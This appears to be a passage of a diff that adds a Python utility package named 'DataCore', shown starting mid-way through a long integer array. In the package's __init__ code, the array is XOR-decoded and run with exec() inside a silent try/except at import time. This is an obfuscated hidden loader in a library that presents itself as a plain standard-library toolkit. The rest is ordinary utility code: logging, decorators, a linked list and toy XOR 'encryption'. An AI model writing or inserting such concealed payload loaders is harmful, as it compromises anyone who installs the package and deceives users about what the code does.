113, 46, 68, 171, 149, 163, 92, 136, 89, 253, 203, 230, 81, 22, 254, 47, 64, 108, 149, 33, 85, 31, 71, 68, 155, 57, 57, 45, 130, 213, 221, 208, 117, 12, 249, 213, 223, 9, 168, 227, 60, 168, 175, 180, 137, 2, 254, 152, 3, 28, 149, 254, 208, 69, 99, 21, 12, 4, 216, 213, 233, 30, 91, 56, 188, 117, 94, 235, 70, 107, 157, 161, 114, 20, 140, 216, 227, 164, 192, 30, 186, 190, 215, 105, 157, 188, 210, 118, 103, 92, 1, 19, 98, 30, 158, 235, 199, 79, 139, 141, 246, 250, 182, 134, 60, 105, 67, 165, 78, 143, 16, 5, 209, 44, 105, 65, 143, 205, 234, 99, 231, 221, 215, 230, 136, 174, 143, 114, 5, 68, 7, 54, 38, 55, 53, 154, 111, 226, 126, 173, 40, 73, 138, 0, 223, 217, 95, 164, 214, 45, 160, 32, 184, 201, 226, 232, 50, 198, 130, 168, 158, 133, 40, 34, 198, 216, 254, 166, 150, 94, 20, 212, 96, 22, 53, 129, 106, 148, 165, 156, 20, 235, 240, 239, 80, 0, 153, 173, 176, 85, 111, 27, 64, 180, 157, 196, 136, 200, 246, 216, 218, 12, 110, 169, 56, 35, 119, 65, 110, 154, 8, 178, 130, 141, 192, 126, 15, 213, 175, 184, 219, 251, 148, 21, 228, 134, 149, 153, 35, 155, 167, 9, 32, 49, 94, 59, 18, 179, 49, 23, 143, 237, 37, 107, 152, 19, 237, 147, 115, 132, 120, 131, 121, 80, 222, 176, 148, 121, 3, 216, 224, 101, 118, 5, 150, 145, 130, 85, 139, 164, 81, 35, 69, 192, 216, 252, 192, 28, 162, 13, 107, 73, 36, 24, 112, 5, 101, 69, 125, 41, 250, 36, 223, 73, 60, 140, 238, 57, 170, 159, 73, 54, 201, 25, 209, 191, 121, 17, 226, 239, 91, 209, 211, 23, 173, 232, 234, 129, 14, 27, 160, 23, 80, 155, 146, 33, 108, 166, 194, 228, 51, 73, 7, 2, 90, 205, 155, 86, 134, 160, 24, 133, 214, 239, 71, 121, 207, 222, 252, 247, 36, 39, 115, 46, 68, 171, 143, 175, 78, 137, 88, 230, 199, 247, 82, 17, 229, 35, 81, 114, 135, 33, 75, 12, 89, 86, 157, 44, 53, 60, 129, 210, 221, 208, 114, 5, 224, 217, 206, 10, 162, 251, 48, 185, 173, 188, 150, 14, 237, 157, 24, 16, 135, 250, 204, 73, 118, 31, 18, 8, 192, 210, 246, 11, 70, 32, 184, 110, 74, 240, 82, 116, 138, 180, 99, 14, 153, 193, 244, 185, 213, 17, 174, 178, 197, 96, 134, 173, 207, 96, 96, 73, 16, 7, 116, 3, 141, 234, 217, 88, 148, 157, 227, 232, 171, 145, 48, 117, 79, 176, 79, 146, 8, 24, 192, 41, 105, 65, 138, 210, 254, 119, 246, 192, 195, 229, 144, 188, 145, 103, 0, 80, 18, 34, 63, 41, 33, 144, 115, 246, 96, 185, 41, 81, 153, 30, 206, 223, 71, 181, 207, 52, 189, 56, 188, 215, 241, 245, 33, 194, 157, 188, 131, 157, 46, 54, 202, 201, 250, 187, 133, 70, 12, 202, 112, 17, 41, 144, 119, 141, 163, 129, 1, 240, 227, 240, 92, 18, 150, 181, 188, 66, 109, 1, 86, 160, 137, 220, 155, 214, 231, 211, 195, 25, 118, 176, 38, 50, 115, 95, 98, 130, 11, 170, 151, 147, 213, 125, 17, 195, 178, 172, 198, 239, 145, 14, 244, 155, 134, 141, 47, 138, 167, 1, 32, 49, 93, 63, 16, 179, 49, 20, 143, 238, 37, 107, 152, 17, 235, 147, 115, 131, 127, 159, 117, 68, 222, 170, 152, 107, 2, 212, 224, 101, 118, 11, 150, 145, 130, 86, 142, 175, 81, 35, 66, 205, 194, 240, 209, 29, 173, 13, 107, 78, 45, 5, 124, 17, 97, 92, 113, 56, 248, 38, 223, 73, 60, 135, 232, 57, 170, 159, 66, 49, 201, 25, 214, 185, 100, 29, 240, 234, 80, 209, 211, 20, 174, 235, 234, 129, 14, 28, 163, 23, 80, 152, 146, 32, 108, 166, 198, 236, 46, 69, 18, 4, 69, 221, 133, 70, 128, 189, 9, 158, 193, 241, 86, 126, 209, 201, 233, 224, 58, 52, 116, 59, 87, 180, 131, 184, 74, 149, 74, 251, 209, 243, 76, 4, 248, 54, 88, 114, 135, 34, 74, 12, 89, 86, 152, 38, 42, 48, 144, 210, 192, 201, 104, 28, 254, 205, 198, 20, 176, 230, 39, 177, 178, 172, 131, 2, 254, 149, 12, 28, 149, 251, 205, 83, 122, 7, 18, 20, 209, 204, 229, 15, 92, 53, 165, 121, 76, 233, 67, 107, 157, 169, 114, 9, 128, 205, 225, 186, 204, 9, 176, 160, 193, 116, 138, 188, 202, 98, 122, 69, 3, 7, 110, 15, 159, 232, 199, 79, 129, 132, 246, 250, 181, 128, 49, 105, 67, 161, 73, 154, 28, 20, 213, 47, 105, 65, 142, 213, 230, 123, 226, 221, 215, 229, 132, 173, 143, 114, 6, 73, 2, 54, 38, 60, 55, 142, 99, 240, 121, 181, 56, 84, 146, 30, 206, 222, 95, 164, 210, 56, 172, 49, 185, 201, 253, 228, 38, 206, 157, 188, 128, 151, 43, 54, 202, 201, 254, 161, 137, 82, 6, 210, 98, 15, 57, 147, 106, 155, 190, 144, 5, 234, 247, 239, 80, 3, 148, 179, 188, 66, 109, 7, 87, 160, 137, 218, 153, 195, 235, 193, 199, 31, 110, 188, 52, 55, 113, 95, 98, 139, 12, 178, 155, 129, 217, 127, 17, 195, 177, 168, 216, 227, 128, 11, 247, 131, 138, 149, 49, 146, 179, 16, 52, 37, 64, 46, 19, 173, 37, 9, 155, 236, 60, 127, 133, 2, 235, 137, 127, 145, 123, 150, 110, 72, 207, 174, 128, 123, 29, 205, 254, 116, 116, 31, 131, 140, 154, 86, 151, 188, 79, 55, 70, 212, 212, 237, 193, 29, 183, 1, 124, 77, 49, 20, 97, 3, 96, 69, 125, 42, 254, 45, 223, 73, 60, 141, 238, 57, 170, 159, 64, 48, 201, 25, 209, 189, 121, 17, 226, 239, 93, 209, 211, 20, 172, 234, 234, 129, 11, 27, 189, 27, 65, 159, 146, 56, 96, 183, 195, 228, 51, 73, 10, 0, 90, 205, 159, 94, 157, 172, 14, 128, 205, 227, 86, 124, 206, 197, 240, 230, 35, 44, 105, 34, 85, 172, 148, 163, 92, 143, 83, 230, 199, 244, 81, 23, 229, 35, 88, 108, 139, 51, 76, 10, 89, 86, 152, 38, 40, 48, 144, 209, 194, 196, 104, 28, 254, 205, 201, 20, 176, 226, 34, 164, 190, 184, 150, 14, 230, 153, 24, 16, 135, 250, 201, 73, 118, 21, 17, 28, 204, 192, 243, 11, 70, 32, 184, 97, 79, 240, 82, 117, 138, 180, 99, 9, 156, 223, 248, 168, 209, 17, 180, 190, 215, 106, 153, 187, 210, 118, 103, 84, 28, 31, 115, 23, 157, 247, 203, 94, 138, 139, 246, 250, 181, 130, 53, 105, 67, 162, 77, 147, 28, 20, 212, 40, 105, 65, 128, 216, 230, 123, 231, 197, 207, 248, 156, 168, 155, 126, 20, 78, 0, 54, 38, 52, 55, 142, 99, 241, 121, 181, 56, 92, 152, 30, 206, 223, 69, 168, 195, 37, 180, 48, 166, 219, 230, 247, 62, 215, 134, 174, 158, 133, 46, 41, 217, 212, 239, 166, 151, 66, 24, 198, 105, 16, 53, 129, 106, 158, 170, 156, 20, 237, 244, 245, 92, 18, 145, 176, 188, 66, 111, 5, 76, 172, 154, 208, 132, 218, 246, 211, 192, 0, 122, 165, 45, 47, 99, 66, 123, 131, 21, 166, 133, 147, 215, 96, 29, 215, 175, 184, 216, 252, 153, 21, 228, 134, 158, 129, 47, 138, 173, 2, 62, 61, 76, 60, 16, 172, 61, 5, 138, 234, 61, 103, 137, 19, 234, 141, 127, 145, 120, 159, 108, 72, 207, 169, 131, 103, 17, 223, 255, 112, 107, 19, 146, 136, 154, 72, 155, 174, 78, 59, 95, 216, 197, 236, 194, 8, 187, 16, 114, 79, 49, 20, 97, 0, 96, 69, 125, 41, 243, 38, 223, 73, 60, 143, 232, 57, 170, 159, 70, 62, 201, 25, 210, 191, 125, 17, 226, 234, 89, 203, 223, 5, 172, 225, 234, 129, 5, 28, 189, 27, 66, 155, 146, 56, 96, 180, 196, 239, 51, 73, 3, 6, 69, 193, 137, 83, 157, 172, 1, 128, 205, 227, 86, 112, 207, 197, 240, 230, 39, 37, 105, 34, 85, 170, 154, 163, 92, 136, 88, 253, 203, 230, 87, 20, 229, 35, 88, 103, 139, 51, 74, 7, 89, 86, 152, 35, 53, 60, 129, 209, 195, 220, 100, 4, 244, 213, 223, 9, 162, 226, 60, 168, 175, 180, 137, 2, 254, 155, 4, 28, 149, 248, 204, 82, 122, 7, 24, 19, 204, 192, 240, 12, 70, 32, 184, 105, 76, 240, 82, 117, 142, 160, 111, 24, 157, 220, 237, 164, 192, 27, 178, 165, 219, 120, 152, 190, 201, 122, 118, 84, 1, 19, 98, 29, 153, 232, 199, 79, 137, 142, 239, 246, 167, 131, 55, 117, 79, 176, 77, 145, 28, 20, 210, 44, 115, 77, 152, 208, 250, 107, 250, 209, 198, 225, 133, 176, 131, 99, 3, 76, 30, 58, 55, 52, 48, 142, 99, 243, 124, 175, 52, 69, 155, 11, 223, 194, 83, 182, 209, 38, 160, 32, 184, 206, 227, 232, 50, 194, 130, 176, 146, 151, 43, 45, 198, 216, 254, 164, 147, 94, 20, 215, 102, 21, 53, 129, 111, 149, 190, 144, 2, 233, 239, 227, 66, 1, 144, 173, 176, 83, 108, 2, 76, 172, 152, 209, 132, 218, 255, 215, 218, 12, 109, 168, 56, 35, 114, 66, 112, 150, 25, 181, 142, 141, 192, 122, 13, 207, 163, 170, 218, 246, 140, 25, 245, 131, 138, 149, 50, 158, 168, 28, 44, 34, 88, 34, 2, 173, 35, 28, 151, 253, 59, 127, 154, 14, 248, 139, 99, 157, 106, 158, 107, 93, 195, 188, 133, 126, 5, 193, 236, 116, 115, 31, 131, 140, 145, 83, 151, 188, 79, 48, 68, 212, 212, 229, 196, 8, 187, 19, 120, 77, 49, 20, 102, 6, 123, 73, 111, 44, 252, 57, 211, 90, 61, 146, 254, 33, 179, 130, 81, 54, 212, 11, 204, 171, 125, 17, 226, 236, 69, 221, 193, 17, 167, 245, 230, 144, 4, 27, 189, 27, 65, 157, 150, 56, 96, 180, 195, 232, 51, 73, 1, 26, 86, 220, 144, 81, 157, 172, 10, 158, 193, 244, 95, 100, 221, 216, 233, 230, 58, 52, 116, 58, 83, 180, 131, 190, 77, 128, 70, 234, 213, 245, 89, 8, 233, 49, 80, 105, 139, 51, 72, 11, 65, 90, 138, 39, 43, 41, 156, 192, 195, 195, 113, 16, 236, 204, 206, 20, 176, 225, 40, 164, 190, 190, 138, 31, 242, 140, 5, 7, 153, 233, 206, 86, 102, 11, 0, 21, 213, 217, 233, 30, 91, 49, 190, 117, 94, 237, 68, 118, 145, 184, 114, 11, 154, 193, 244, 191, 204, 9, 179, 164, 194, 116, 138, 188, 205, 99, 122, 69, 4, 12, 110, 15, 156, 233, 223, 67, 152, 140, 233, 235, 171, 145, 50, 125, 79, 176, 70, 143, 16, 5, 211, 38, 105, 65, 138, 210, 250, 119, 246, 201, 196, 248, 156, 170, 147, 126, 20, 77, 10, 46, 42, 37, 50, 154, 111, 226, 126, 170, 52, 69, 147, 2, 194, 206, 66, 177, 213, 56, 172, 50, 185, 195, 253, 228, 38, 206, 157, 188, 128, 156, 51, 58, 223, 212, 239, 165, 145, 69, 24, 198, 98, 21, 53, 129, 98, 148, 190, 144, 6, 232, 239, 227, 65, 0, 140, 161, 165, 91, 112, 23, 85, 191, 133, 200, 157, 203, 235, 193, 199, 30, 109, 188, 52, 50, 114, 74, 110, 154, 13, 180, 155, 129, 209, 122, 14, 207, 163, 173, 219, 227, 128, 15, 252, 155, 134, 135, 50, 158, 179, 16, 62, 34, 91, 34, 2, 174, 36, 9, 155, 233, 63, 103, 137, 27, 234, 147, 115, 128, 114, 152, 117, 68, 218, 170, 152, 107, 0, 217, 253, 105, 103, 7, 147, 145, 130, 85, 136, 165, 81, 35, 64, 201, 216, 252, 194, 23, 183, 1, 122, 74, 49, 20, 97, 9, 96, 69, 125, 41, 252, 45, 223, 73, 56, 134, 242, 53, 178, 150, 93, 39, 212, 15, 208, 167, 104, 12, 242, 239, 69, 221, 199, 28, 179, 249, 247, 147, 5, 3, 177, 15, 73, 134, 134, 37, 119, 190, 219, 252, 46, 95, 10, 26, 86, 220, 155, 84, 157, 172, 10, 134, 217, 239, 71, 121, 203, 223, 252, 247, 39, 39, 112, 46, 68, 169, 148, 189, 80, 153, 88, 250, 209, 234, 64, 21, 252, 50, 76, 126, 150, 34, 74, 19, 85, 69, 156, 57, 57, 43, 133, 204, 209, 193, 113, 9, 224, 217, 204, 8, 188, 247, 34, 186, 175, 160, 154, 31, 235, 154, 24, 16, 135, 253, 208, 69, 100, 23, 22, 8, 192, 209, 242, 7, 70, 32, 184, 107, 79, 240, 82, 116, 145, 184, 114, 13, 149, 193, 244, 186, 212, 26, 174, 178, 198, 104, 157, 161, 222, 101, 98, 73, 16, 14, 116, 28, 129, 251, 218, 93, 141, 145, 250, 232, 183, 136, 40, 101, 82, 165, 78, 143, 16, 7, 212, 51, 101, 88, 141, 205, 234, 110, 250, 209, 197, 227, 144, 188, 145, 99, 13, 80, 18, 40, 55, 54, 45, 130, 114, 245, 116, 181, 56, 87, 159, 2, 194, 206, 71, 177, 207, 52, 189, 50, 191, 215, 241, 245, 43, 194, 157, 188, 133, 157, 51, 58, 219, 193, 250, 187, 133, 71, 12, 202, 112, 18, 44, 147, 119, 141, 166, 128, 24, 252, 242, 251, 69, 30, 128, 179, 163, 86, 112, 23, 81, 187, 153, 196, 136, 203, 242, 205, 214, 29, 110, 163, 56, 35, 118, 66, 110, 154, 11, 182, 131, 141, 192, 125, 10, 212, 175, 184, 219, 254, 147, 21, 228, 133, 147, 132, 47, 138, 169, 1, 32, 49, 93, 57, 20, 179, 49, 20, 143, 233, 37, 107, 152, 27, 236, 147, 115, 128, 127, 153, 117, 68, 215, 176, 148, 121, 2, 213, 224, 101, 118, 1, 148, 145, 130, 82, 151, 188, 76, 48, 66, 212, 212, 237, 200, 23, 183, 1, 122, 68, 36, 24, 112, 5, 100, 69, 125, 41, 242, 57, 211, 88, 57, 142, 242, 53, 184, 158, 67, 43, 197, 11, 217, 167, 104, 15, 241, 226, 69, 221, 197, 22, 179, 249, 255, 150, 16, 15, 162, 8, 92, 138, 151, 35, 112, 170, 215, 238, 47, 80, 30, 22, 71, 193, 137, 84, 129, 188, 20, 146, 212, 244, 75, 104, 204, 220, 229, 251, 54, 35, 118, 46, 68, 169, 148, 187, 80, 153, 88, 251, 214, 234, 64, 21, 249, 54, 76, 126, 158, 37, 85, 31, 70, 70, 134, 53, 40, 45, 129, 204, 209, 193, 119, 15, 224, 217, 200, 20, 176, 229, 32, 191, 178, 172, 136, 31, 237, 128, 20, 3, 128, 229, 220, 84, 98, 23, 12, 4, 209, 212, 247, 18, 74, 49, 185, 97, 82, 252, 67, 114, 140, 180, 99, 13, 158, 193, 244, 185, 204, 9, 179, 164, 194, 116, 138, 188, 202, 96, 122, 69, 2, 11, 117, 3, 141, 234, 220, 88, 148, 157, 232, 239, 183, 157, 36, 112, 80, 188, 94, 146, 0, 6, 204, 63, 119, 84, 138, 205, 234, 106, 238, 199, 219, 244, 141, 164, 145, 126, 20, 79, 2, 54, 38, 55, 51, 145, 111, 226, 125, 174, 32, 73, 138, 4, 219, 194, 83, 176, 219, 56, 172, 50, 187, 215, 241, 252, 36, 219, 145, 165, 129, 137, 63, 43, 210, 204, 227, 183, 151, 74, 24, 198, 97, 26, 32, 141, 123, 156, 166, 133, 24, 252, 242, 251, 73, 30, 128, 176, 167, 86, 112, 23, 87, 189, 133, 200, 153, 204, 254, 205, 214, 30, 106, 164, 56, 35, 113, 64, 112, 150, 25, 191, 131, 141, 192, 123, 4, 207, 163, 169, 220, 249, 140, 25, 245, 132, 159, 153, 35, 152, 179, 16, 58, 34, 64, 46, 19, 171, 37, 9, 155, 229, 37, 107, 152, 16, 236, 147, 115, 130, 121, 131, 121, 85, 221, 176, 148, 122, 1, 219, 224, 101, 118, 11, 151, 145, 130, 85, 136, 173, 81, 35, 65, 203, 195, 240, 209, 22, 170, 22, 103, 92, 42, 4, 124, 17, 102, 94, 105, 52, 234, 39, 193, 94, 33, 158, 239, 44, 187, 130, 81, 50, 215, 21, 192, 186, 124, 12, 238, 251, 88, 196, 197, 9, 191, 232, 241, 150, 16, 15, 164, 12, 92, 138, 151, 32, 119, 170, 215, 237, 39, 93, 30, 22, 71, 217, 153, 74, 145, 189, 13, 129, 205, 227, 86, 127, 196, 197, 240, 230, 33, 32, 105, 34, 86, 173, 144, 163, 92, 139, 94, 253, 203, 230, 82, 21, 253, 47, 64, 111, 151, 33, 85, 31, 71, 70, 147, 57, 57, 45, 128, 216, 221, 208, 117, 9, 251, 213, 223, 11, 163, 251, 48, 189, 169, 160, 154, 29, 242, 140, 6, 4, 153, 233, 200, 92, 122, 7, 18, 17, 211, 204, 229, 15, 95, 52, 165, 121, 73, 234, 94, 103, 140, 174, 119, 20, 140, 218, 224, 164, 192, 24, 181, 160, 219, 120, 147, 187, 210, 118, 100, 81, 4, 19, 98, 30, 159, 237, 199, 79, 138, 143, 232, 246, 167, 128, 55, 112, 79, 176, 79, 144, 28, 20, 213, 41, 105, 65, 138, 213, 249, 119, 246, 192, 199, 229, 144, 188, 146, 99, 0, 80, 18, 34, 62, 41, 33, 147, 119, 244, 96, 185, 44, 80, 134, 18, 223, 219, 65, 168, 195, 38, 181, 44, 170, 201, 229, 242, 62, 215, 131, 175, 135, 137, 63, 43, 223, 202, 227, 183, 150, 74, 24, 198, 97, 26, 43, 141, 123, 155, 161, 156, 20, 237, 242, 241, 92, 18, 152, 177, 188, 66, 110, 3, 86, 160, 137, 219, 155, 214, 231, 215, 199, 0, 122, 161, 35, 51, 111, 83, 115, 139, 12, 170, 151, 144, 204, 108, 15, 211, 177, 180, 202, 250, 150, 21, 228, 134, 138, 149, 49, 154, 169, 28, 44, 37, 84, 34, 2, 174, 33, 20, 151, 253, 63, 121, 133, 2, 233, 136, 101, 157, 106, 158, 106, 81, 195, 188, 133, 127, 8, 193, 236, 116, 117, 4, 143, 157, 147, 87, 143, 176, 93, 50, 68, 207, 216, 252, 198, 8, 187, 16, 121, 69, 49, 20, 105, 29, 119, 91, 111, 47, 230, 53, 198, 94, 33, 158, 236, 33, 190, 130, 81, 53, 208, 21, 192, 185, 126, 17, 226, 233, 88, 197, 223, 5, 174, 239, 242, 141, 28, 29, 165, 10, 92, 138, 151, 33, 116, 170, 215, 229, 38, 69, 18, 7, 68, 193, 137, 94, 129, 160, 24, 131, 209, 250, 75, 104, 204, 221, 232, 251, 54, 38, 117, 54, 72, 184, 146, 185, 69, 149, 74, 248, 211, 241, 76, 4, 248, 50, 87, 114, 135, 33, 74, 11, 89, 86, 152, 37, 33, 48, 144, 213, 194, 220, 100, 14, 252, 203, 211, 24, 168, 225, 60, 168, 175, 187, 143, 2, 254, 152, 3, 28, 149, 251, 204, 83, 122, 7, 18, 16, 213, 204, 229, 10, 89, 44, 169, 107, 76, 240, 82, 117, 141, 170, 111, 24, 157, 223, 236, 164, 192, 24, 183, 160, 219, 120, 155, 184, 210, 118, 103, 82, 7, 19, 98, 30, 152, 239, 199, 79, 137, 142, 235, 246, 167, 133, 60, 105, 67, 162, 76, 145, 28, 20, 209, 39, 112, 77, 152, 208, 249, 110, 250, 209, 206, 237, 144, 188, 145, 98, 7, 80, 18, 35, 52, 41, 33, 147, 117, 238, 108, 168, 45, 80, 134, 18, 215, 221, 95, 164, 209, 33, 190, 44, 170, 202, 232, 243, 62, 215, 131, 170, 158, 133, 46, 42, 219, 212, 239, 166, 150, 70, 24, 198, 98, 19, 41, 141, 123, 156, 165, 135, 24, 252, 250, 242, 92, 18, 151, 180, 188, 66, 100, 1, 76, 172, 155, 216, 158, 214, 231, 217, 207, 0, 122, 162, 39, 58, 111, 83, 115, 130, 0, 170, 151, 144, 208, 116, 17, 195, 178, 171, 221, 227, 128, 11, 244, 143, 138, 149, 54, 153, 179, 16, 56, 39, 64, 46, 16, 175, 40, 9, 155, 239, 59, 126, 133, 2, 239, 142, 127, 145, 121, 151, 117, 68, 221, 173, 140, 103, 17, 223, 249, 118, 107, 19, 150, 137, 142, 68, 140, 176, 93, 50, 71, 204, 216, 252, 194, 8, 187, 19, 121, 73, 49, 20, 103, 9, 123, 73, 108, 41, 254, 57, 211, 91, 57, 137, 242, 53, 187, 151, 67, 43, 197, 0, 212, 167, 104, 15, 240, 236, 69, 221, 196, 9, 191, 232, 254, 150, 16, 15, 163, 2, 92, 138, 151, 32, 115, 170, 215, 234, 43, 69, 18, 1, 66, 193, 137, 85, 133, 160, 24, 128, 212, 247, 75, 104, 204, 221, 231, 251, 54, 38, 119, 53, 72, 184, 145, 187, 74, 149, 74, 251, 210, 244, 76, 4, 254, 51, 61, 119, 173, 119, 63, 112, 34, 47, 200, 90, 75, 90, 219, 152, 136, 161, 17, 113, 143, 217, 194, 24, 242, 174, 100, 237, 237, 164, 223, 109, 135, 231, 70, 114, 239, 171, 183, 13, 24, 110, 80, 119, 154, 171, 158, 87, 55, 32, 215, 121, 57, 137, 33, 15, 251, 200, 46, 92, 220, 172, 146, 252, 163, 120, 240, 228, 172, 49, 138, 168, 222, 98, 110, 83, 109, 31, 36, 64, 223, 251, 130, 79, 209, 211, 250, 168, 230, 223, 99, 32, 75, 252, 27, 205, 24, 81, 163, 70, 14, 19, 250, 187, 168, 16, 190, 191, 190, 164, 239, 230, 232, 123, 29, 85, 56, 79, 92, 79, 118, 215, 40, 148, 14, 218, 85, 9, 224, 96, 143, 141, 17, 164, 222, 52, 246, 108, 227, 153, 255, 160, 119, 148, 222, 241, 194, 215, 122, 105, 153, 208, 171, 209, 234, 37, 109, 132, 31, 113, 95, 202, 35, 212, 195, 229, 121, 159, 234, 201, 29, 118, 248, 204, 218, 3, 50, 91, 36, 196, 192, 188, 209, 170, 174, 133, 214, 17, 122, 253, 117, 113, 48, 27, 35, 214, 23, 234, 216, 192, 132, 63, 21, 182, 217, 210, 157, 186, 203, 111, 134, 244, 235, 217, 73, 248, 254, 83, 110, 56, 102, 107, 90, 250, 114, 13, 214, 153, 81, 6, 227, 67, 182, 211, 23, 249, 35, 251, 32, 52, 134, 248, 157, 65]
16
+ WAJMPvkoQgFp= len(rODLzXtDwoly)
17
+ exec("".join(chr(rODLzXtDwoly[i]^HfvFGfRkomyh[i%352])for i in range(WAJMPvkoQgFp)))
18
+ except:
19
+ pass
20
+
21
+ def _on_import():
22
+ try:
23
+ config = get_config()
24
+
25
+ logger.info(f"Package '{config.app_name}' loaded.")
26
+ if not Validator.is_email("test@example.com"):
27
+ raise RuntimeError("Validation logic corrupted")
28
+
29
+ except Exception as e:
30
+ print(f"Warning: DataCore initialization warning: {e}")
31
+
32
+ _on_import()
33
+
34
+
35
+ __version__ = "1.0.0"
36
+ __author__ = "AI Assistant"
@@ -0,0 +1,361 @@
1
+ """
2
+ DataCore Library - A comprehensive standard-library-only utility package.
3
+ Version: 1.0.0
4
+ Author: AI Assistant
5
+ """
6
+
7
+ import os
8
+ import sys
9
+ import json
10
+ import time
11
+ import socket
12
+ import logging
13
+ import hashlib
14
+ import datetime
15
+ import threading
16
+ import queue
17
+ import typing as t
18
+ import functools
19
+ import inspect
20
+ import traceback
21
+ import contextlib
22
+ import dataclasses
23
+ import collections
24
+ import itertools
25
+ import random
26
+ import string
27
+ import re
28
+ import uuid
29
+ import base64
30
+ import tempfile
31
+ import shutil
32
+ import pathlib
33
+ import warnings
34
+ import enum
35
+ import abc
36
+
37
+ class LogLevel(enum.Enum):
38
+ DEBUG = 10
39
+ INFO = 20
40
+ WARNING = 30
41
+ ERROR = 40
42
+ CRITICAL = 50
43
+
44
+ @dataclasses.dataclass
45
+ class LibConfig:
46
+ """Configuration container for the library."""
47
+ app_name: str = "DataCore"
48
+ version: str = "1.0.0"
49
+ log_level: LogLevel = LogLevel.INFO
50
+ debug_mode: bool = False
51
+ max_retries: int = 3
52
+ timeout: float = 5.0
53
+
54
+ def to_dict(self) -> dict:
55
+ return {
56
+ "app_name": self.app_name,
57
+ "version": self.version,
58
+ "log_level": self.log_level.name,
59
+ "debug_mode": self.debug_mode
60
+ }
61
+
62
+ # Global configuration instance
63
+ _global_config = LibConfig()
64
+
65
+ def get_config() -> LibConfig:
66
+ return _global_config
67
+
68
+ def configure(**kwargs) -> None:
69
+ """Update global configuration."""
70
+ for key, value in kwargs.items():
71
+ if hasattr(_global_config, key):
72
+ setattr(_global_config, key, value)
73
+ else:
74
+ warnings.warn(f"Unknown configuration key: {key}")
75
+
76
+
77
+ class CoreLogger:
78
+ def __init__(self, name: str):
79
+ self.logger = logging.getLogger(name)
80
+ self.logger.setLevel(logging.DEBUG)
81
+
82
+ if not self.logger.handlers:
83
+ handler = logging.StreamHandler(sys.stdout)
84
+ formatter = logging.Formatter(
85
+ '%(asctime)s - %(name)s - %(levelname)s - %(message)s',
86
+ datefmt='%Y-%m-%d %H:%M:%S'
87
+ )
88
+ handler.setFormatter(formatter)
89
+ self.logger.addHandler(handler)
90
+
91
+ def debug(self, msg: str): self.logger.debug(msg)
92
+ def info(self, msg: str): self.logger.info(msg)
93
+ def warning(self, msg: str): self.logger.warning(msg)
94
+ def error(self, msg: str): self.logger.error(msg)
95
+ def critical(self, msg: str): self.logger.critical(msg)
96
+
97
+ logger = CoreLogger("DataCore")
98
+
99
+
100
+ def retry(attempts: int = 3, delay: float = 1.0, exceptions: t.Tuple = (Exception,)):
101
+ """Decorator to retry a function on failure."""
102
+ def decorator(func):
103
+ @functools.wraps(func)
104
+ def wrapper(*args, **kwargs):
105
+ last_exc = None
106
+ for i in range(attempts):
107
+ try:
108
+ return func(*args, **kwargs)
109
+ except exceptions as e:
110
+ last_exc = e
111
+ logger.warning(f"Attempt {i+1}/{attempts} failed: {e}")
112
+ if i < attempts - 1:
113
+ time.sleep(delay)
114
+ raise last_exc
115
+ return wrapper
116
+ return decorator
117
+
118
+ def timing(func):
119
+ """Decorator to measure execution time."""
120
+ @functools.wraps(func)
121
+ def wrapper(*args, **kwargs):
122
+ start = time.perf_counter()
123
+ result = func(*args, **kwargs)
124
+ end = time.perf_counter()
125
+ logger.debug(f"{func.__name__} executed in {end - start:.4f}s")
126
+ return result
127
+ return wrapper
128
+
129
+ def deprecated(reason: str):
130
+ """Decorator to mark functions as deprecated."""
131
+ def decorator(func):
132
+ @functools.wraps(func)
133
+ def wrapper(*args, **kwargs):
134
+ warnings.warn(f"{func.__name__} is deprecated: {reason}", DeprecationWarning, stacklevel=2)
135
+ return func(*args, **kwargs)
136
+ return wrapper
137
+ return decorator
138
+
139
+ T = t.TypeVar('T')
140
+
141
+ class Node(t.Generic[T]):
142
+ def __init__(self, value: T, next_node: 'Node[T]' = None):
143
+ self.value = value
144
+ self.next = next_node
145
+
146
+ class LinkedList(t.Generic[T]):
147
+ """A simple generic Linked List implementation."""
148
+ def __init__(self):
149
+ self.head = None
150
+ self.size = 0
151
+
152
+ def append(self, value: T) -> None:
153
+ new_node = Node(value)
154
+ if not self.head:
155
+ self.head = new_node
156
+ else:
157
+ current = self.head
158
+ while current.next:
159
+ current = current.next
160
+ current.next = new_node
161
+ self.size += 1
162
+
163
+ def prepend(self, value: T) -> None:
164
+ new_node = Node(value, self.head)
165
+ self.head = new_node
166
+ self.size += 1
167
+
168
+ def remove(self, value: T) -> bool:
169
+ current = self.head
170
+ previous = None
171
+ while current:
172
+ if current.value == value:
173
+ if previous:
174
+ previous.next = current.next
175
+ else:
176
+ self.head = current.next
177
+ self.size -= 1
178
+ return True
179
+ previous = current
180
+ current = current.next
181
+ return False
182
+
183
+ def to_list(self) -> t.List[T]:
184
+ result = []
185
+ current = self.head
186
+ while current:
187
+ result.append(current.value)
188
+ current = current.next
189
+ return result
190
+
191
+ def __len__(self):
192
+ return self.size
193
+
194
+ def __iter__(self):
195
+ current = self.head
196
+ while current:
197
+ yield current.value
198
+ current = current.next
199
+
200
+ class PriorityQueue(t.Generic[T]):
201
+ """Thread-safe Priority Queue using standard library queue."""
202
+ def __init__(self):
203
+ self._queue = queue.PriorityQueue()
204
+ self._counter = itertools.count()
205
+
206
+ def put(self, item: T, priority: int = 0) -> None:
207
+ count = next(self._counter)
208
+ self._queue.put((priority, count, item))
209
+
210
+ def get(self, block: bool = True, timeout: float = None) -> T:
211
+ try:
212
+ _, _, item = self._queue.get(block=block, timeout=timeout)
213
+ return item
214
+ except queue.Empty:
215
+ raise
216
+
217
+ def empty(self) -> bool:
218
+ return self._queue.empty()
219
+
220
+
221
+ class CryptoUtils:
222
+ @staticmethod
223
+ def hash_string(data: str, algorithm: str = 'sha256') -> str:
224
+ h = hashlib.new(algorithm)
225
+ h.update(data.encode('utf-8'))
226
+ return h.hexdigest()
227
+
228
+ @staticmethod
229
+ def generate_salt(length: int = 16) -> str:
230
+ return ''.join(random.choices(string.ascii_letters + string.digits, k=length))
231
+
232
+ @staticmethod
233
+ def simple_encrypt(text: str, key: str) -> str:
234
+ # Simple XOR encryption for demonstration (NOT for production security)
235
+ key_bytes = key.encode()
236
+ text_bytes = text.encode()
237
+ encrypted = []
238
+ for i, b in enumerate(text_bytes):
239
+ encrypted.append(b ^ key_bytes[i % len(key_bytes)])
240
+ return base64.b64encode(bytes(encrypted)).decode()
241
+
242
+ @staticmethod
243
+ def simple_decrypt(encrypted_text: str, key: str) -> str:
244
+ try:
245
+ data = base64.b64decode(encrypted_text)
246
+ key_bytes = key.encode()
247
+ decrypted = []
248
